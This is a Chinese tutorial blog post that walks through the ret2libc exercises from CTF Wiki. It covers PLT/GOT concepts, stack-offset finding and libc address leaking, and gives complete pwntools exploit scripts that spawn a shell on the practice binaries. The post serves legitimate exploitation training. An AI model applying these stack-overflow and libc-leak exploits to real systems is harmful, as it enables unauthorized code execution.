CTFWIKI-PWN-ret2libc

news2024/9/22 4:57:04

目录

1.libc

2.plt 和got

3.调用system

4.flat函数

5.libc泄露

例题1

checksec

ida

计算偏移量

查找system.plt

查找/bin/sh

1.ida

2.ROPgadget

exp

 例题2

checksec

ida

思路

给出流程图

查看bss是否可以写入

exp

 例题3

checksec

ida

偏移量

找puts的got

使用libcsearcher 来查找libc偏移量

完整exp

​编辑 

出现报错不用慌张

附上流程图


1.libc

我们要先明白这种类型是什么 为什么我们可以使用这个

libc 是c语言在电脑中的库   是一个标准库

运用这个库 程序员可以很轻松的解决低级问题

比如获取系统时间、打开和关闭文件、分配和释放内存、格式化和输出字符串等等

2.plt 和got

这里我给出简易版的plt got 的调用

以print函数为例 

就是通过两个表进行查找print函数的真实地址 其实里面还有一个函数是计算处真实地址

简略版流程图

3.调用system

调用完system.plt 需要加入返回地址 随便填写即可 因为我们打开命令就不需要返回

4.flat函数

flat([1,2,3,4])

会自动添加合适的发送方式 就是不用自己在写入p32 p64

5.libc泄露

如果我们无法找到system的plt地址 那我们就无法调用system函数

那我们该怎么找到他呢

假如代码前面执行了puts函数 那我们可以通过puts函数 进行计算 得到libc的版本 然后再通过

puts函数的真实地址 和 通过LibcSearcher工具得到的偏移量 就可以计算出每个函数的基地址

然后通过基地址我们就可以用system的偏移量得到system函数

例题1

以wiki里面的ret2libc1为例

checksec

ida

 存在栈溢出 不存在shellcode

计算偏移量

命令框1
gdb    ret2libc1 

r
输入

aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

返回
*EIP  0x62616164 ('daab')
───────────────────────[ DISASM / i386 / set emulate on ]───────────────────────
Invalid address 0x62616164


命令框2

cyclic  200

cyclic -l daab

查找system.plt

直接看

 

查找/bin/sh

1.ida

2.ROPgadget

ROPgadget --binary ret2libc1  --string '/bin/sh'

 得到地址

我们可以开始编写exp

exp

from pwn import *
p=process('./ret2libc1')
sys_add=0x08048460
bin_add=0x08048720
payload=flat(['A'*112,sys_add,1234,bin_add])
p.sendline(payload)
p.interactive()

 例题2

wiki里的ret2libc2

checksec

ida

 没有/bin/sh字符串了

 存在栈溢出

思路

这里又是应一个思路 我们没有可以使用的字符串 我们该怎么办 我们能不能实现自己输入

这里就可以调用get函数来让我们输入/bin/sh 然后在让system返回到我们输入的地方

给出流程图

查看bss是否可以写入

gdb   ret2libc2
b main
r
vmmap

先看看ida中bss段在哪里

找到了 而且有一个变量可以存入

再看看gdb的

第三个就是bss段的地址区 发现可以写入的

开始编写exp

exp

from pwn import *
p=process('./ret2libc2')
get_add=0x08048460
sys_add=0x08048490
buf2_add=0x0804A080
payload=flat([b'A'*112,get_add,sys_add,buf2_add,buf2_add])
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

这里再次给出wiki的payload的解读流程图

##!/usr/bin/env python
from pwn import *

sh = process('./ret2libc2')

gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(
    ['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()

 再给出函数的执行流程 防止混乱

 例题3

需要使用LibcSeacher 里面的库可能不全 更新一下因为 我老是报错

解决LibcSearcher找不到合适libc(更新libc)_yongbaoii的博客-CSDN博客

checksec

ida

 不存在/bin/sh

from pwn import *
p=process('./ret2libc3')
elf=ELF('ret2libc3')
put_plt=elf.plt['puts']
put_got=elf.got['puts']
start_addr=elf.symbols['_start']

 不存在system.plt

什么都没有所以我们没有办法用上面的办法

那我们该怎么办呢

我们需要找到libc泄露

我们看看我们在输入前执行了什么函数

 发现有puts函数

因为puts函数执行了所以他的libc就能确定 不会变

不是地址不会变 是函数和puts真实地址的之间的链接是不会变的

所以我们只要使用puts函数的真实地址 求出他们之间的链接

我们就可以找到其他函数 因为这个链接是通用的

我们现在的目标就是寻找puts的got表 来找到真实地址

偏移量

和前面的一样 都是通过cyclic指令实现(不会就是没有认真看)

找puts的got

我们可以使用pwntools的ELF来寻找puts函数的got

from pwn import *
p=process('./ret2libc3')
elf=ELF('ret2libc3')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start_addr=elf.symbols['_start']

这里有一个问题 为什么我们需要找到开始的地址 _start表示程序开始的地址

我们找这个的目的是为了让程序重新执行一遍 因为我们要上传shellcode

一遍我们只能找到got表的泄露 我们要写入的话就要重新执行一下 所以等等通过把start的地址存入返回地址 让程序执行两次

我们可以开始写找到got后的exp了(还没有写完 这是第一次的payload)

from pwn import *
p=process('./ret2libc3')
elf=ELF('ret2libc3')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start_addr=elf.symbols['_start']
payload1=flat([b'A'*112,puts_plt,start_addr,puts_got])
p.sendlineafter('!?',payload1)
puts_addr=u32(p.recv(4))

这样我们得到了puts的真实地址

这里我们解释一下两个代码

p.sendlineafter('!?',payload1)
在出现字符串!?后 注入payload1
puts_addr=u32(p.recv(4))
p.recv(4)接受程序返回的二进制 大小为4字节
u32()为保存为无符号的32位

这里我们就得到了puts_addr的真实地址

使用libcsearcher 来查找libc偏移量

如果下面代码报错了 需要重新载入一下库 因为初始库可能无法使用

更新时间会很长

libc=LibcSearcher('puts',puts_addr)
base=puts_addr-libc.dump('puts')
system_addr=base+libc.dump('system')
bin_addr=base+libc.dump('str_bin_sh')
payload2=flat([b'A'*112,system_addr,1234,bin_addr])

这就是libcsearch的函数 我们来解释一下

libc=LibcSearcher('puts',puts_addr)、
计算出是多少版本的libc
base=puts_addr-libc.dump('puts')
通过计算出来的版本求得puts函数的基值 然后通过真实地址-基值=偏移量
system_addr=base+libc.dump('system')
通过偏移量+这个版本的system基值=真实system函数的地址
bin_addr=base+libc.dump('str_bin_sh')
通过偏移量+这个版本中字符串/bin/sh的基值 = 真实/bin/sh的地址
注意这里(str_bin_sh)是求字符串的写法

记住前面要引入LibcSearch库

完整exp

from pwn import *
from LibcSearcher import *

p=process('./ret2libc3')
elf=ELF('ret2libc3')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start_addr=elf.symbols['_start']
payload1=flat([b'A'*112,puts_plt,start_addr,puts_got])
p.sendlineafter('!?',payload1)
puts_addr=u32(p.recv(4))
libc=LibcSearcher('puts',puts_addr)
base=puts_addr-libc.dump('puts')
system_addr=base+libc.dump('system')
bin_addr=base+libc.dump('str_bin_sh')
payload2=flat([b'A'*112,system_addr,1234,bin_addr])
p.sendlineafter('!?',payload2)
p.interactive()


 

出现报错不用慌张

有这么多选择 一个一个选过去

 我就是选到第八个才可以 老倒霉了

 

附上流程图

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/440415.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

投屏市场的挑战与发展趋势

投屏的定义 投屏是指将手机、平板、电脑等设备的屏幕内容无线传输到电视、投影仪等大屏幕上的技术,也称为无线投屏、屏幕镜像、屏幕共享等。投屏技术可以实现多屏互动、内容共享、远程协作等功能,为用户提供更丰富的视听体验和更便捷的工作方式。 投屏市…

Jupyter Notebook小知识

目录 1 快捷键1.1 常用快捷键1.2 魔法函数 2 常用快捷键2.1 模式切换2.2 命令模式快捷键2.3 编辑模式快捷键3 Matplotlib绘图 4 小技巧4.1 文件默认目录的查看以及更改4.2 更改主题颜色 5 其它5.1 python中 r, b, u, f 的含义5.2 f/format():格式化操作 6 常见问题6.1 查看模块…

25K测试老鸟6年经验的面试心得,四种公司、四种问题…

这里总结了下自己今年的面试情况 先说一下自己的个人情况,普通二本计算机专业毕业,懂python,会写脚本,会selenium,会性能。趁着金三银四跳槽季,面试字节跳动测试岗技术面都已经过了,本来以为是…

基于OC端的Bridge-API组件化应用

前言 在移动应用开发中,组件化可以提高代码的模块化和重用性,降低耦合度。当下大部分APP都至少包含一到两种Hybrid框架,H5基本是必要的,还可能叠加React Natvie、Weex或Flutter。 对于Hybird来说,Native的很多能力是…

Ae:自动定向

Ae 菜单:图层/变换/自动定向 Auto-Orient 快捷键:Ctrl Alt O 自动定向 Auto-Orient是 Ae 图层中的一个附加的、隐藏实现(不会在时间轴面板上更改属性的值)的功能,它可以使得图层自动旋转或改变方向以朝向指定的运动路…

HIVE相关操作

HIVE有两种启动方式 方式1: bin/hive 即Hive的Shell客户端,可以直接写SQL方式2: bin/hive --service hiveserver2 后台执行脚本:nohup bin/hive --service hiveserver2 >> logs/hiveserver2.log 2>&1 & bin/hiv…

Vue.js列表渲染指令v-for

目录 一、原理概述 二、基本用法 (1)v-for循环普通数组 (2)v-for循环对象 (3)v-for循环对象数组 (4)v-for迭代整数 一、原理概述 v-for指令时在模板编译的代码生成阶段实现的…

6.java程序员必知必会类库之pdf处理库

前言 Pdf作为我们办公文件中的一种常用文件格式,很多业务中会涉及到一个功能,是将系统中的某些数据,按照要求的格式生成Pdf文件。比如常见的征信报告,合同文件等等,为此通过java代码,处理PDF格式的文件&am…

Vulnhub项目:Earth

靶机地址:The Planets: Earth ~ VulnHub 渗透过程: 首先查看靶机描述,需要获取2个flag 老样子,确定靶机ip,具体的就不详细写了,看图即可 探测靶机开放端口 如果不进行dns绑定,就会出现下面的…

带你玩转状态机(论点:概念、相关图示、示例代码、适用场景、相关文档)

概念 状态机(State Machine)是一种用于描述系统在不同状态下的行为及状态之间转换的数学模型。状态机主要由三个部分组成:状态(State)、事件(Event)和转换(Transition)。…

Vue2-黑马(九)

0目录: (1)router-动态菜单 (2)vuex-入门 (3)vuex-mapState (1)router-动态菜单 我们点击按钮跳转到主页面,主页在制作动态菜单,路由的跳转方…

【PWN】刷题——CTFHub之 简单的 ret2text

萌新第一阶段自然是了解做题的套路、流程,简单题要多做滴 目录 前言 一、checksec查看 二、IDA反汇编 三、exp编写 前言 经典的ret2text流程 一、checksec查看 64位程序,什么保护都没有,No canary found——可以栈溢出控制返回 二、IDA反汇…

SpringBoot整合Redis、以及缓存穿透、缓存雪崩、缓存击穿的理解、如何添加锁解决缓存击穿问题?分布式情况下如何添加分布式锁

文章目录 1、步骤2、具体过程1、引入pom依赖2、修改配置文件3、单元测试4、测试结果 3、redis运行情况4、项目中实际应用5、加锁解决缓存击穿问题代码一(存在问题)代码二(问题解决) 6、新问题7、分布式锁 1、步骤 前提条件&#…

FFmpeg 编译静态库

1. 使用工具 1.1 FFmpeg 官网: 1.2 FFmpeg macOS 官方安装教程: 1.3 Homebreaw 安装网站: 2. Homebreaw 介绍 2.1 简称 brew,在 Mac 平台终端上管理软件包,安装,更新,卸载等软件 2.2 安装 brew,终端执行指令(内部安装…

HTTP协议详解(一)

目录 1.什么是HTTP协议? 2.HTTP的协议格式 使用fiddler抓包工具 理解代理 查看请求内容 3.HTTP请求(Request) 认识URL URL encode 认识method GET方法 POST方法 经典面试题:POST和GET之间的典型区别 其它方法 认识请求 "报头" (header) Host Conte…

Elasticsearch:为日志分析设置安全的 Elasticsearch 管道

在我之前的许多文章中,我已经详细地描述了如何配置如下的管道: 如果你想了解更多,请详细阅读文章: Logstash:Logstash 入门教程 (二) Elastic:运用 Docker 安装 Elastic Stack 并采…

企业在实施采购管理时需要注意哪些问题?

采购管理是指企业为了获得所需的物资和服务等,通过筛选供应商、谈判合同、执行采购计划等一系列过程来实现目标的管理活动。在实施过程中,采购管理需要注意以下几个问题: 1、采购策略的选择 采购策略的选择是采购管理中非常关键的环节。不同…

分享5款win10小工具,让办公学习井井有条

好用的小工具能让办公学习变得更简单便捷,这里推荐几款实用的Win10小工具。 桌面小工具——Win10 Widgets Win10 Widgets是一款实用的桌面小工具软件,可以让你在桌面上显示各种系统信息。你可以使用Win10 Widgets来查看电源、硬盘、CPU、内存、网络、时…

数据结构_第十三关(1):简单排序算法

【本关目标】 排序的概念常见排序的算法思想和实现排序算法的复杂度以及稳定性分析 目录 【本关目标】 1.排序的概念 2.常见排序的算法思想和实现(代码默认都是从小到大排序) 2.1插入排序 1)直接插入排序 2)希尔排序 2.2选…

Java 死锁的原理、检测和解决死锁

什么是死锁 两个或者多个线程互相持有对方所需要的资源(锁),都在等待对方执行完毕才能继续往下执行的时候,就称为发生了死锁,结果就是两个进程都陷入了无限的等待中。 一般是有多个锁对象的情况下并且获得锁顺序不一致造成的。 …